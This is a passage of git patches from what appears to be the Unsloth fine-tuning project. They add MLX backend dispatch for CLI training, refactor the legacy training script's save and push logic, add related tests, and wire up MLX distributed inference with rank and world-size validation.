         from utils.paths import (
             ensure_dir,
             resolve_output_dir,
diff --git a/studio/backend/tests/test_training_preflight.py b/studio/backend/tests/test_training_preflight.py
index 54048a65dd..47c6669f8f 100644
--- a/studio/backend/tests/test_training_preflight.py
+++ b/studio/backend/tests/test_training_preflight.py
@@ -6,9 +6,15 @@ empty-chat-template crash) before train(). The real methods are bound onto a lig
 fake self so the production logic runs against controlled batches."""
 
 import importlib
+import json
+import os
+import queue
+import subprocess
 import sys
+import threading
 import types
 import unittest
+from pathlib import Path
 from types import SimpleNamespace
 from unittest.mock import MagicMock
 
@@ -184,5 +190,231 @@ class TestChatTemplateRendersEmpty(unittest.TestCase):
         self.assertFalse(s._chat_template_renders_empty())
 
 
+def _clear_trainer_module(package: str):
+    sys.modules.pop(f"{package}.trainer", None)
+    pkg = sys.modules.get(package)
+    if pkg is not None and hasattr(pkg, "trainer"):
+        delattr(pkg, "trainer")
+
+
+def _set_training_platform(monkeypatch, package: str, backend: str):
+    training_mod = importlib.import_module(f"{package}.training")
+    from utils.hardware import hardware as hw
+
+    monkeypatch.setattr(hw, "DEVICE", None)
+    monkeypatch.setattr(
+        training_mod.platform,
+        "system",
+        lambda: "Darwin" if backend == "mlx" else "Linux",
+    )
+    monkeypatch.setattr(
+        training_mod.platform,
+        "machine",
+        lambda: "arm64" if backend == "mlx" else "x86_64",
+    )
+
+
+def _load_trainer_module(
+    monkeypatch,
+    backend: str,
+    package: str = "core.training",
+):
+    _set_training_platform(monkeypatch, package, backend)
+    _clear_trainer_module(package)
+    if package in sys.modules:
+        importlib.reload(sys.modules[package])
+    trainer_mod = importlib.import_module(f"{package}.trainer")
+    training_mod = importlib.import_module(f"{package}.training")
+    monkeypatch.setattr(
+        training_mod._MLXTrainerAdapter,
+        "_activate_transformers_for_model",
+        lambda self, model_name, hf_token: None,
+    )
+    return trainer_mod
+
+
+class _ExitedProc:
+    def join(self, timeout = None):
+        return None
+
+    def is_alive(self):
+        return False
+
+
+class _TerminableProc:
+    def __init__(self):
+        self.terminated = False
+        self._done = threading.Event()
+
+    def join(self, timeout = None):
+        self._done.wait(timeout = timeout or 5)
+
+    def is_alive(self):
+        return not self.terminated
+
+    def terminate(self):
+        self.terminated = True
+        self._done.set()
+
+
+def test_unsloth_trainer_dispatches_for_mlx_and_torch(monkeypatch):
+    trainer_mod = _load_trainer_module(monkeypatch, "mlx")
+
+    mlx_trainer = trainer_mod.UnslothTrainer()
+
+    assert type(mlx_trainer).__module__ == "core.training.training"
+    assert mlx_trainer.get_training_progress().status_message == "Ready to train"
+
+    trainer_mod = _load_trainer_module(monkeypatch, "torch")
+
+    assert trainer_mod.UnslothTrainer().__class__ is trainer_mod.UnslothTrainer
+
+
+def test_cli_mlx_trainer_activates_before_importing_trainer():
+    repo_root = Path(__file__).resolve().parents[3]
+    script = """
+import json
+import sys
+import unsloth_cli.commands.train as train_cmd
+from studio.backend.core.training import training as training_mod
+from utils.hardware import hardware as hw
+
+training_mod.platform.system = lambda: "Darwin"
+training_mod.platform.machine = lambda: "arm64"
+hw.DEVICE = None
+events = []
+
+def fake_activate(model_name, hf_token):
+    events.append({
+        "model_name": model_name,
+        "trainer_loaded": "studio.backend.core.training.trainer" in sys.modules,
+    })
+
+train_cmd._activate_mlx_transformers = fake_activate
+trainer = train_cmd._create_cli_trainer("mlx-community/Qwen3-0.6B-4bit", None)
+print(json.dumps({
+    "trainer_module": type(trainer).__module__,
+    "events": events,
+}))
+"""
+    env = os.environ.copy()
+    env["PYTHONPATH"] = os.pathsep.join(
+        [str(repo_root), str(repo_root / "studio" / "backend"), env.get("PYTHONPATH", "")]
+    )
+    result = subprocess.run(
+        [sys.executable, "-c", script],
+        cwd = repo_root,
+        env = env,
+        text = True,
+        stdout = subprocess.PIPE,
+        stderr = subprocess.PIPE,
+        check = True,
+    )
+    payload = json.loads(result.stdout)
+
+    assert payload["trainer_module"] == "studio.backend.core.training.training"
+    assert payload["events"] == [
+        {"model_name": "mlx-community/Qwen3-0.6B-4bit", "trainer_loaded": False}
+    ]
+
+
+def test_mlx_adapter_builds_config_and_reports_completion(tmp_path, monkeypatch):
+    trainer_mod = _load_trainer_module(monkeypatch, "mlx")
+    captured = {}
+
+    def fake_run_worker(config, event_queue, stop_queue):
+        captured["config"] = config
+        event_queue.put({"type": "progress", "step": 1, "total_steps": 1, "loss": 0.25})
+        event_queue.put(
+            {"type": "complete", "status_message": "done", "output_dir": config["output_dir"]}
+        )
+
+    trainer = trainer_mod.UnslothTrainer()
+    monkeypatch.setattr(trainer, "_run_mlx_worker", fake_run_worker)
+
+    assert trainer.load_model("mlx-community/Qwen3-0.6B-4bit", max_seq_length = 1024)
+    assert trainer.prepare_model_for_training(use_lora = False)
+    dataset, eval_dataset = trainer.load_and_format_dataset("org/dataset")
+    output_dir = tmp_path / "mlx-out"
+
+    assert trainer.start_training(
+        dataset = dataset,
+        eval_dataset = eval_dataset,
+        output_dir = output_dir,
+        project_name = "Sales Assistant",
+        max_steps = 1,
+        learning_rate = 3e-4,
+    )
+    trainer.training_thread.join(timeout = 5)
+
+    progress = trainer.get_training_progress()
+    config = captured["config"]
+    assert progress.is_completed
+    assert progress.output_dir == str(output_dir.resolve())
+    progress.status_message = "mutated"
+    assert trainer.get_training_progress().status_message == "done"
+    assert config["model_name"] == "mlx-community/Qwen3-0.6B-4bit"
+    assert config["project_name"] == "Sales Assistant"
+    assert config["hf_dataset"] == "org/dataset"
+    assert config["training_type"] == "Full Finetuning"
+    assert config["load_in_4bit"] is False
+    assert config["max_seq_length"] == 1024
+    assert config["learning_rate"] == 3e-4
+    assert config["output_dir"] == str(output_dir.resolve())
+    assert config["allow_external_output_dir"] is True
+
+
+def test_mlx_worker_helpers_cover_cli_paths(tmp_path, monkeypatch):
+    _load_trainer_module(monkeypatch, "mlx")
+    from core.training.worker import (
+        _resolve_mlx_local_dataset_files,
+        _resolve_mlx_output_dir,
+    )
+
+    dataset = tmp_path / "train.jsonl"
+    dataset.write_text('{"text":"hello"}\n', encoding = "utf-8")
+    monkeypatch.chdir(tmp_path)
+
+    assert _resolve_mlx_local_dataset_files(["train.jsonl"]) == [str(dataset)]
+    assert _resolve_mlx_output_dir(
+        {"output_dir": "cli-out", "allow_external_output_dir": True},
+        "mlx-community/Qwen3-0.6B-4bit",
+    ) == str((tmp_path / "cli-out").resolve())
+
+
+def test_run_mlx_training_process_applies_side_effects_before_hardware_detection(monkeypatch):
+    _load_trainer_module(monkeypatch, "mlx")
+    from core.training import worker
+    from utils.hardware import hardware as hw
+
+    order = []
+
+    def fake_activate(model_name, hf_token):
+        order.append(("activate", model_name, hf_token))
+
+    def fake_detect_hardware():
+        order.append("detect")
+        hw.DEVICE = hw.DeviceType.CPU
+        return hw.DEVICE
+
+    monkeypatch.delenv("HF_HUB_DISABLE_XET", raising = False)
+    monkeypatch.delenv("HF_HUB_ENABLE_HF_TRANSFER", raising = False)
+    monkeypatch.setattr(worker, "_activate_transformers_version_or_warn", fake_activate)
+    monkeypatch.setattr(hw, "detect_hardware", fake_detect_hardware)
+
+    event_queue = queue.Queue()
+    worker.run_mlx_training_process(
+        event_queue = event_queue,
+        stop_queue = queue.Queue(),
+        config = {"model_name": "mlx-community/Gemma-4-12B", "disable_xet": True},
+    )
+
+    event = event_queue.get_nowait()
+    assert order == [("activate", "mlx-community/Gemma-4-12B", None), "detect"]
+    assert os.environ["HF_HUB_DISABLE_XET"] == "1"
+    assert os.environ["HF_HUB_ENABLE_HF_TRANSFER"] == "0"
+    assert "MLX training requires Apple Silicon" in event["error"]
+
+
 if __name__ == "__main__":
     unittest.main()
diff --git a/unsloth-cli.py b/unsloth-cli.py
index 756efef0d0..be48893d8d 100644
--- a/unsloth-cli.py
+++ b/unsloth-cli.py
@@ -22,24 +22,179 @@ import argparse
 import os
 
 
+def _is_mlx_backend(unsloth_module):
+    return bool(getattr(unsloth_module, "_IS_MLX", False))
+
+
+def _normalize_dtype(dtype, is_mlx):
+    if is_mlx and isinstance(dtype, str) and dtype.strip().lower() in {"", "none", "auto"}:
+        return None
+    return dtype
+
+
+def _prepare_device_map(is_mlx):
+    if is_mlx:
+        return None, False
+
+    from unsloth.models.loader_utils import prepare_device_map
+    return prepare_device_map()
+
+
+class _CallableTokenizerProxy:
+    def __init__(self, tokenizer):
+        self._tokenizer = tokenizer
+
+    def __getattr__(self, name):
+        return getattr(self._tokenizer, name)
+
+    def __call__(self, text, *args, **kwargs):
+        # MLX/torch-free: never request torch tensors; keep plain python ids.
+        kwargs.pop("return_tensors", None)
+        wrapped = getattr(self._tokenizer, "_tokenizer", None)
+        if callable(wrapped):
+            return wrapped(text, *args, **kwargs)
+
+        add_special_tokens = kwargs.get("add_special_tokens", False)
+        input_ids = self._tokenizer.encode(text, add_special_tokens = add_special_tokens)
+        return {"input_ids": input_ids}
+
+
+def _tokenizer_for_raw_text_loader(tokenizer, is_mlx):
+    if not is_mlx or callable(tokenizer):
+        return tokenizer
+    return _CallableTokenizerProxy(tokenizer)
+
+
+def _raw_text_loader_for_backend(
+    RawTextDataLoader,
+    tokenizer,
+    is_mlx,
+    chunk_size = 2048,
+    stride = 512,
+):
+    return RawTextDataLoader(
+        _tokenizer_for_raw_text_loader(tokenizer, is_mlx),
+        chunk_size,
+        stride,
+        return_tokenized = not is_mlx,
+    )
+
+
+def _train_with_legacy_save_control(trainer, is_mlx):
+    if not is_mlx:
+        return trainer.train()
+
+    original_save_model = getattr(trainer, "save_model", None)
+    if original_save_model is None:
+        return trainer.train()
+
+    def skip_internal_final_save(*args, **kwargs):
+        raise ValueError("legacy unsloth-cli.py owns final save")
+
+    trainer.save_model = skip_internal_final_save
+    try:
+        return trainer.train()
+    finally:
+        trainer.save_model = original_save_model
+
+
+def _iter_quantization_methods(quantization):
+    if isinstance(quantization, list):
+        return quantization
+    return [quantization]
+
+
+def _save_or_push_model(model, tokenizer, args, is_mlx):
+    if not args.save_model:
+        print("Warning: The model is not saved!")
+        return
+
+    # Enter the GGUF branch when saving or pushing GGUF, so --push_gguf works
+    # without --save_gguf (the local save is guarded separately below).
+    if args.save_gguf or args.push_gguf:
+        if not args.save_gguf:
+            print("Warning: --save_gguf not set, pushing GGUF to hub without saving locally.")
+        for quantization_method in _iter_quantization_methods(args.quantization):
+            if args.save_gguf:
+                print(f"Saving model with quantization method: {quantization_method}")
+                model.save_pretrained_gguf(
+                    args.save_path,
+                    tokenizer,
+                    quantization_method = quantization_method,
+                )
+            if args.push_model or args.push_gguf:
+                model.push_to_hub_gguf(
+                    args.hub_path,
+                    tokenizer,
+                    quantization_method = quantization_method,
+                    token = args.hub_token,
+                )
+        return
+
+    if is_mlx:
+        model.save_pretrained_merged(
+            args.save_path,
+            tokenizer,
+            save_method = args.save_method,
+            push_to_hub = args.push_model,
+            repo_id = args.hub_path if args.push_model else None,
+            token = args.hub_token,
+        )
+        return
+
+    model.save_pretrained_merged(args.save_path, tokenizer, save_method = args.save_method)
+    if args.push_model:
+        model.push_to_hub_merged(args.hub_path, tokenizer, args.save_method, token = args.hub_token)
+
+
+def _build_sft_config(SFTConfig, args, is_mlx, bf16_supported):
+    config_kwargs = dict(
+        per_device_train_batch_size = args.per_device_train_batch_size,
+        gradient_accumulation_steps = args.gradient_accumulation_steps,
+        warmup_steps = args.warmup_steps,
+        max_steps = args.max_steps,
+        learning_rate = args.learning_rate,
+        fp16 = not bf16_supported,
+        bf16 = bf16_supported,
+        logging_steps = args.logging_steps,
+        optim = args.optim,
+        weight_decay = args.weight_decay,
+        lr_scheduler_type = args.lr_scheduler_type,
+        seed = args.seed,
+        output_dir = args.output_dir,
+        report_to = args.report_to,
+        max_length = args.max_seq_length,
+        dataset_num_proc = 2,
+        packing = args.packing,
+    )
+    if is_mlx:
+        if args.per_device_eval_batch_size != 4:
+            print("Warning: --per_device_eval_batch_size is ignored on MLX without eval data.")
+    else:
+        config_kwargs["per_device_eval_batch_size"] = args.per_device_eval_batch_size
+    return SFTConfig(**config_kwargs)
+
+
 def run(args):
+    import unsloth
     from unsloth import FastLanguageModel
     from datasets import load_dataset
     from transformers.utils import strtobool
     from trl import SFTTrainer, SFTConfig
     from unsloth import is_bfloat16_supported
-    from unsloth.models.loader_utils import prepare_device_map
     import logging
     from unsloth import RawTextDataLoader
 
     logging.getLogger("hf-to-gguf").setLevel(logging.WARNING)
 
+    is_mlx = _is_mlx_backend(unsloth)
+
     # Load model and tokenizer
-    device_map, distributed = prepare_device_map()
+    device_map, distributed = _prepare_device_map(is_mlx)
     model, tokenizer = FastLanguageModel.from_pretrained(
         model_name = args.model_name,
         max_seq_length = args.max_seq_length,
-        dtype = args.dtype,
+        dtype = _normalize_dtype(args.dtype, is_mlx),
         load_in_4bit = args.load_in_4bit,
         device_map = device_map,
     )
@@ -92,11 +247,13 @@ def run(args):
     def load_dataset_smart(args):
         from transformers.utils import strtobool
         if args.raw_text_file:
-            loader = RawTextDataLoader(tokenizer, args.chunk_size, args.stride)
+            loader = _raw_text_loader_for_backend(
+                RawTextDataLoader, tokenizer, is_mlx, args.chunk_size, args.stride
+            )
             dataset = loader.load_from_file(args.raw_text_file)
         elif args.dataset.endswith((".txt", ".md", ".json", ".jsonl")):
             # Auto-detect local raw text files
-            loader = RawTextDataLoader(tokenizer)
+            loader = _raw_text_loader_for_backend(RawTextDataLoader, tokenizer, is_mlx)
             dataset = loader.load_from_file(args.dataset)
         else:
             use_modelscope = strtobool(os.environ.get("UNSLOTH_USE_MODELSCOPE", "False"))
@@ -115,27 +272,9 @@ def run(args):
     print("Data is formatted and ready!")
 
     # Configure training arguments
-    training_args = SFTConfig(
-        per_device_train_batch_size = args.per_device_train_batch_size,
-        per_device_eval_batch_size = args.per_device_eval_batch_size,
-        gradient_accumulation_steps = args.gradient_accumulation_steps,
-        warmup_steps = args.warmup_steps,
-        max_steps = args.max_steps,
-        learning_rate = args.learning_rate,
-        fp16 = not is_bfloat16_supported(),
-        bf16 = is_bfloat16_supported(),
-        logging_steps = args.logging_steps,
-        optim = args.optim,
-        weight_decay = args.weight_decay,
-        lr_scheduler_type = args.lr_scheduler_type,
-        seed = args.seed,
-        output_dir = args.output_dir,
-        report_to = args.report_to,
-        max_length = args.max_seq_length,
-        dataset_num_proc = 2,
-        ddp_find_unused_parameters = False if distributed else None,
-        packing = args.packing,
-    )
+    training_args = _build_sft_config(SFTConfig, args, is_mlx, is_bfloat16_supported())
+    if distributed:
+        training_args.ddp_find_unused_parameters = False
 
     # Initialize trainer
     trainer = SFTTrainer(
@@ -145,57 +284,9 @@ def run(args):
         args = training_args,
     )
 
-    trainer.train()
+    _train_with_legacy_save_control(trainer, is_mlx)
 
-    # Save model
-    if args.save_model:
-        # If args.quantization is a list, save once per quantization method
-        # Enter the GGUF branch when saving *or* pushing GGUF, so --push_gguf
-        # works even when --save_gguf is omitted (the local save is guarded
-        # separately below).
-        if args.save_gguf or args.push_gguf:
-            # Push-only GGUF (no --save_gguf) skips the local save; warn so it is not silent.
-            if not args.save_gguf:
-                print("Warning: --save_gguf not set, pushing GGUF to hub without saving locally.")
-            if isinstance(args.quantization, list):
-                for quantization_method in args.quantization:
-                    if args.save_gguf:
-                        print(f"Saving model with quantization method: {quantization_method}")
-                        model.save_pretrained_gguf(
-                            args.save_path,
-                            tokenizer,
-                            quantization_method = quantization_method,
-                        )
-                    if args.push_model or args.push_gguf:
-                        model.push_to_hub_gguf(
-                            args.hub_path,
-                            tokenizer,
-                            quantization_method = quantization_method,
-                            token = args.hub_token,
-                        )
-            else:
-                if args.save_gguf:
-                    print(f"Saving model with quantization method: {args.quantization}")
-                    model.save_pretrained_gguf(
-                        args.save_path,
-                        tokenizer,
-                        quantization_method = args.quantization,
-                    )
-                if args.push_model or args.push_gguf:
-                    model.push_to_hub_gguf(
-                        args.hub_path,
-                        tokenizer,
-                        quantization_method = args.quantization,
-                        token = args.hub_token,
-                    )
-        else:
-            model.save_pretrained_merged(args.save_path, tokenizer, args.save_method)
-            if args.push_model:
-                model.push_to_hub_merged(
-                    args.hub_path, tokenizer, args.save_method, token = args.hub_token
-                )
-    else:
-        print("Warning: The model is not saved!")
+    _save_or_push_model(model, tokenizer, args, is_mlx)
 
 
 if __name__ == "__main__":
diff --git a/unsloth_cli/commands/train.py b/unsloth_cli/commands/train.py
index 9d47a574d5..c52c2344b7 100644
--- a/unsloth_cli/commands/train.py
+++ b/unsloth_cli/commands/train.py
@@ -7,10 +7,42 @@ from typing import Optional
 
 import typer
 
+from unsloth_cli._inference import ensure_studio_backend_path
 from unsloth_cli.config import Config, load_config
 from unsloth_cli.options import add_options_from_config
 
 
+def _should_use_mlx_backend_for_cli() -> bool:
+    ensure_studio_backend_path()
+    from studio.backend.core.training.training import should_use_mlx_training_backend
+    return should_use_mlx_training_backend()
+
+
+def _activate_mlx_transformers(model_name: str, hf_token: Optional[str]) -> None:
+    # Activate before any transformers import: adapter model-type detection imports utils.models.
+    ensure_studio_backend_path()
+    from utils.transformers_version import activate_transformers_for_subprocess
+    try:
+        activate_transformers_for_subprocess(model_name, hf_token)
+    except Exception as exc:
+        typer.echo(f"Warning: failed to activate Transformers sidecar: {exc}", err = True)
+
+
+def _create_cli_trainer(model_name: str, hf_token: Optional[str]):
+    if _should_use_mlx_backend_for_cli():
+        _activate_mlx_transformers(model_name, hf_token)
+        # MLX is torch-free: use the lightweight adapter, not trainer.py (imports torch/unsloth/trl at load).
+        ensure_studio_backend_path()
+        from studio.backend.core.training.training import create_mlx_trainer_adapter
+
+        return create_mlx_trainer_adapter()
+
+    ensure_studio_backend_path()
+    from studio.backend.core.training.trainer import UnslothTrainer
+
+    return UnslothTrainer()
+
+
 @add_options_from_config(Config)
 def train(
     config: Optional[Path] = typer.Option(
@@ -39,6 +71,7 @@ def train(
         typer.echo(f"Error: {e}", err = True)
         raise typer.Exit(code = 2)
 
+    config_overrides = config_overrides or {}
     cfg.apply_overrides(**config_overrides)
 
     # CLI/env tokens take precedence; guard against unresolved typer.Option
@@ -83,9 +116,7 @@ def train(
         )
         raise typer.Exit(code = 2)
 
-    from studio.backend.core.training.trainer import UnslothTrainer
-
-    trainer = UnslothTrainer()
+    trainer = _create_cli_trainer(cfg.model, hf_token)
 
     # Load model (trainer.is_vlm is set after this)
     if not trainer.load_model(
@@ -124,13 +155,20 @@ def train(
 
     try:
         while trainer.training_thread and trainer.training_thread.is_alive():
+            progress = trainer.get_training_progress()
+            if getattr(progress, "error", None):
+                break
             time.sleep(1)
     except KeyboardInterrupt:
         typer.echo("Stopping training (Ctrl+C detected)...")
         trainer.stop_training()
     finally:
         if trainer.training_thread:
-            trainer.training_thread.join()
+            progress = trainer.get_training_progress()
+            if getattr(progress, "error", None):
+                trainer.training_thread.join(timeout = 5)
+            else:
+                trainer.training_thread.join()
 
     final = trainer.get_training_progress()
     if getattr(final, "error", None):

From 2a6abe2ff5c643ee853f2e0ef632b1e80d06918a Mon Sep 17 00:00:00 2001
From: Long Yixing <longyixing331@gmail.com>
Date: Wed, 8 Jul 2026 18:25:39 +0800
Subject: [PATCH 255/306] feat(cli): support MLX distributed inference (#6845)

* feat(cli): detect MLX distributed launch context

* feat(mlx): wire distributed inference backend

* feat(cli): broadcast MLX distributed chat turns

* fix(cli): wait indefinitely for distributed chat turns

* fix(cli): report MLX distributed load errors cleanly

* fix(mlx): route distributed vlm through loader

* fix(cli): detect inline MLX host JSON

* fix(studio): harden distributed object sharing

* fix(studio): select JACCL distributed backend

* fix(cli): abort distributed error paths

* Distinguish real stream errors from model text via GenStreamError in distributed CLI

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fail loud when MLX distributed init returns a singleton group

The worker only reaches this block when distributed was explicitly
requested. A singleton (size 1) group means the launch failed to form a
real group (MLX built without distributed support, or an invalid launch
env/hostfile); silently continuing leaves nonzero ranks looping forever
on share_distributed_object. Raise instead so the surrounding handler
returns a clear load error.

* Tighten MLX distributed inference comments

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../backend/core/inference/mlx_inference.py   | 171 ++++++---
 studio/backend/core/inference/orchestrator.py | 106 +++++-
 studio/backend/core/inference/worker.py       | 123 ++++++-
 studio/backend/routes/inference.py            |  46 +++
 .../tests/test_mlx_inference_backend.py       | 125 +++++++
 unsloth_cli/_inference.py                     | 217 ++++++++++--
 unsloth_cli/commands/chat.py                  | 178 +++++++---
 unsloth_cli/commands/inference.py             |  47 ++-
 unsloth_cli/tests/test_inference_chat.py      | 330 +++++++++++++++++-
 9 files changed, 1188 insertions(+), 155 deletions(-)

diff --git a/studio/backend/core/inference/mlx_inference.py b/studio/backend/core/inference/mlx_inference.py
index 62d268e15f..d84baa278d 100644
--- a/studio/backend/core/inference/mlx_inference.py
+++ b/studio/backend/core/inference/mlx_inference.py
@@ -5,6 +5,7 @@ Drop-in replacement for InferenceBackend — same interface, uses mlx-lm/mlx-vlm
 instead of torch/transformers for model loading and generation.
 """
 
+import os
 import threading
 from typing import Optional, Generator
 from core.inference.runtime_context import runtime_context_length
@@ -41,6 +42,48 @@ def _build_generation_stats(prompt_n, prompt_tps, gen_n, gen_tps):
     }
 
 
+def _mlx_distributed_rank_size(group = None):
+    """Return ``(rank, world_size)`` for an optional MLX distributed group."""
+    if group is None:
+        return 0, 1
+    rank = int(group.rank())
+    world_size = int(group.size())
+    if world_size < 1:
+        raise ValueError(f"Invalid MLX distributed world_size={world_size}.")
+    if rank < 0 or rank >= world_size:
+        raise ValueError(f"Invalid MLX distributed rank={rank} for world_size={world_size}.")
+    return rank, world_size
+
+
+def _mlx_distributed_backend_from_env():
+    if os.environ.get("MLX_JACCL_COORDINATOR") and os.environ.get("MLX_IBV_DEVICES"):
+        return "jaccl"
+    return None
+
+
+def _init_mlx_distributed():
+    """Initialize MLX distributed state, falling back to singleton metadata."""
+    import mlx.core as mx
+
+    group = None
+    rank = 0
+    world_size = 1
+    distributed = getattr(mx, "distributed", None)
+    init = getattr(distributed, "init", None) if distributed is not None else None
+    if callable(init):
+        backend = _mlx_distributed_backend_from_env()
+        if backend is None:
+            group = init()
+        else:
+            try:
+                group = init(backend = backend)
+            except TypeError:
+                group = init()
+        if group is not None:
+            rank, world_size = _mlx_distributed_rank_size(group)
+    return group, rank, world_size
+
+
 def _make_mlx_presence_penalty_processor(penalty: float):
     """Presence penalty as an mlx_lm/mlx_vlm logits processor, matching the safetensors path.
 
@@ -52,7 +95,7 @@ def _make_mlx_presence_penalty_processor(penalty: float):
 
     def _processor(tokens, logits):
         if state["prompt_len"] is None:
-            # First call = prompt only; latch its length.
+            # First call is prompt-only; latch its length.
             state["prompt_len"] = int(tokens.shape[0])
             return logits
         generated = tokens[state["prompt_len"] :]
@@ -61,22 +104,17 @@ def _make_mlx_presence_penalty_processor(penalty: float):
         import mlx.core as mx
 
         vocab = logits.shape[-1]
-        # Bound generated ids to the valid range [0, vocab) before they index
-        # logits. MLX does no bounds checking and out-of-bounds indexing is
-        # documented undefined behavior (crash / memory corruption), unlike the
-        # torch path's harmless negative wrap -- so this bound is load-bearing
-        # here and matches the torch filter seen[(seen >= 0) & (seen < vocab)].
-        # MLX has no boolean-mask filtering (data-dependent output shape is
-        # unsupported), so instead of compacting the id list we route every
-        # out-of-range or negative id to a scratch slot at index ``vocab`` that
-        # is dropped before the subtract. That scratch slot can never collide
-        # with a real token, so real ids (including id 0) are penalized exactly
-        # once and stray ids are ignored.
+        # Bound ids to [0, vocab) before indexing logits: MLX does no bounds
+        # checking and out-of-bounds indexing is undefined behavior (crash /
+        # corruption), unlike torch's harmless negative wrap. MLX also lacks
+        # boolean-mask filtering, so out-of-range/negative ids route to a
+        # scratch slot at index vocab (dropped before the subtract) that never
+        # collides with a real token: real ids (including 0) are penalized
+        # once, strays ignored.
         valid = (generated >= 0) & (generated < vocab)
         safe = mx.where(valid, generated, vocab).astype(mx.int32)
-        # Scatter-assign a scalar penalty into a (vocab + 1)-wide mask: duplicate
-        # ids are idempotent, so presence applies once per distinct token; the
-        # scratch column is discarded and the full-width subtract stays on-device.
+        # Scatter penalty into a (vocab + 1)-wide mask: duplicate ids are
+        # idempotent (presence applies once per token); scratch column dropped.
         mask = mx.zeros((vocab + 1,), dtype = logits.dtype)
         mask[safe] = penalty
         logits = logits - mask[:vocab]
@@ -93,7 +131,7 @@ class MLXInferenceBackend:
         self.loaded_local_models = []
         self.device = "mlx"
         self._generation_lock = threading.Lock()
-        # usage/timings of the latest generation; shipped on gen_done.
+        # usage/timings of the latest generation, shipped on gen_done.
         self.last_generation_stats = None
 
         self._model = None
@@ -101,6 +139,9 @@ class MLXInferenceBackend:
         self._processor = None
         self._is_vlm = False
         self._config = {}
+        self._distributed_group = None
+        self._distributed_rank = 0
+        self._distributed_world_size = 1
 
         # Recorded for unload to release pinned memory back to the OS.
         self._memory_limits_applied = {}
@@ -145,19 +186,26 @@ class MLXInferenceBackend:
         trust_remote_code = False,
         gpu_ids = None,
         dtype = None,
+        parallel_mode = None,
+        distributed_group = None,
     ) -> bool:
         import mlx.core as mx
 
-        # Keep the token so the native-template fallback can fetch a
-        # gated model's repo template later during generation.
+        # Keep the token so the native-template fallback can fetch a gated
+        # model's repo template during generation.
         self._hf_token = hf_token
         model_name = config.identifier if hasattr(config, "identifier") else str(config)
         is_vision = getattr(config, "is_vision", False)
+        distributed_rank, distributed_size = _mlx_distributed_rank_size(distributed_group)
+        is_distributed = distributed_group is not None and distributed_size > 1
+        self._distributed_group = distributed_group
+        self._distributed_rank = distributed_rank
+        self._distributed_world_size = distributed_size
 
-        # GGUF guard. GGUF models are served by llama-server in the parent
-        # process, not mlx-lm here. Reaching this with is_gguf=True means the
-        # route's first detection flaked (transient HF Hub) but the subprocess
-        # re-detected GGUF; raise loudly instead of a cryptic mlx_lm error.
+        # GGUF guard: GGUF is served by llama-server in the parent process,
+        # not mlx-lm. Reaching here with is_gguf=True means the route's
+        # detection flaked but the subprocess re-detected GGUF; raise loudly
+        # instead of a cryptic mlx_lm error.
         if getattr(config, "is_gguf", False):
             raise RuntimeError(
                 f"MLXInferenceBackend cannot load GGUF model '{model_name}': "
@@ -176,11 +224,26 @@ class MLXInferenceBackend:
         is_lora = getattr(config, "is_lora", False)
 
         logger.info(
-            "Loading %s via %s (is_lora=%s)",
+            "Loading %s via %s (is_lora=%s, distributed=%s, rank=%s/%s, mode=%s)",
             model_name,
             "mlx-vlm" if is_vision else "mlx-lm",
             is_lora,
+            is_distributed,
+            distributed_rank,
+            distributed_size,
+            parallel_mode,
         )
+        if is_distributed and parallel_mode not in ("pipeline", "tensor"):
+            raise ValueError(
+                "Unsloth: distributed MLX inference requires parallel_mode='pipeline' "
+                "or parallel_mode='tensor'."
+            )
+        if is_distributed and is_lora:
+            raise ValueError(
+                "Unsloth: distributed MLX inference for LoRA adapter repos "
+                "is not supported yet. Merge/export the adapter into an MLX model "
+                "before distributed inference."
+            )
 
         try:
             from unsloth_zoo.mlx.loader import FastMLXModel
@@ -190,14 +253,23 @@ class MLXInferenceBackend:
                 "(unsloth_zoo.mlx.loader). Reinstall via install.sh on Apple Silicon."
             ) from e
 
+        load_kwargs = {
+            "max_seq_length": max_seq_length,
+            "dtype": dtype,
+            "load_in_4bit": load_in_4bit,
+            "token": hf_token,
+            "trust_remote_code": trust_remote_code,
+            "text_only": False if is_vision else True,
+        }
+        if is_distributed:
+            if parallel_mode == "pipeline":
+                load_kwargs["pipeline_group"] = distributed_group
+            else:
+                load_kwargs["tensor_group"] = distributed_group
+
         model, tokenizer_or_processor = FastMLXModel.from_pretrained(
             model_name,
-            max_seq_length = max_seq_length,
-            dtype = dtype,
-            load_in_4bit = load_in_4bit,
-            token = hf_token,
-            trust_remote_code = trust_remote_code,
-            text_only = False if is_vision else True,
+            **load_kwargs,
         )
 
         if is_vision:
@@ -217,8 +289,7 @@ class MLXInferenceBackend:
         self.models[model_name] = {
             # Per-model token for the native-template fallback (matches transformers).
             "hf_token": hf_token,
-            # Per-model consent for the native-template reload: re-use the exact
-            # trust_remote_code this model was loaded with (matches transformers).
+            # Per-model trust_remote_code reused by the native-template reload (matches transformers).
             "trust_remote_code": trust_remote_code,
             "model": self._model,
             "tokenizer": self._tokenizer,
@@ -234,8 +305,7 @@ class MLXInferenceBackend:
             "has_audio_input": False,
             "context_length": runtime_context_length(self._model, max_seq_length),
         }
-        # Capture chat_template_info so the worker IPC reply ships it back and
-        # the route layer classifies capabilities like the other paths.
+        # Capture chat_template_info for the worker IPC reply and route capability classification.
         self._populate_chat_template_info(model_name)
 
         logger.info("Model %s loaded successfully", model_name)
@@ -293,6 +363,9 @@ class MLXInferenceBackend:
         self._model = None
         self._tokenizer = None
         self._processor = None
+        self._distributed_group = None
+        self._distributed_rank = 0
+        self._distributed_world_size = 1
         if self.active_model_name == model_name:
             self.active_model_name = None
         gc.collect()
@@ -320,8 +393,7 @@ class MLXInferenceBackend:
         max_new_tokens = 256,
         repetition_penalty = 1.0,
         cancel_event = None,
-        # Reasoning / tool kwargs forwarded by the route + worker; rendered via
-        # apply_chat_template_for_generation like the transformers path.
+        # Reasoning / tool kwargs, rendered via apply_chat_template_for_generation (transformers parity).
         tools = None,
         enable_thinking = None,
         reasoning_effort = None,
@@ -334,7 +406,6 @@ class MLXInferenceBackend:
         # Reset so a failed run cannot surface stale stats.
         self.last_generation_stats = None
 
-        # Build messages with system prompt
         full_messages = []
         if system_prompt:
             full_messages.append({"role": "system", "content": system_prompt})
@@ -351,7 +422,6 @@ class MLXInferenceBackend:
                             {"type": "text", "text": content},
                         ]
                     elif isinstance(content, list):
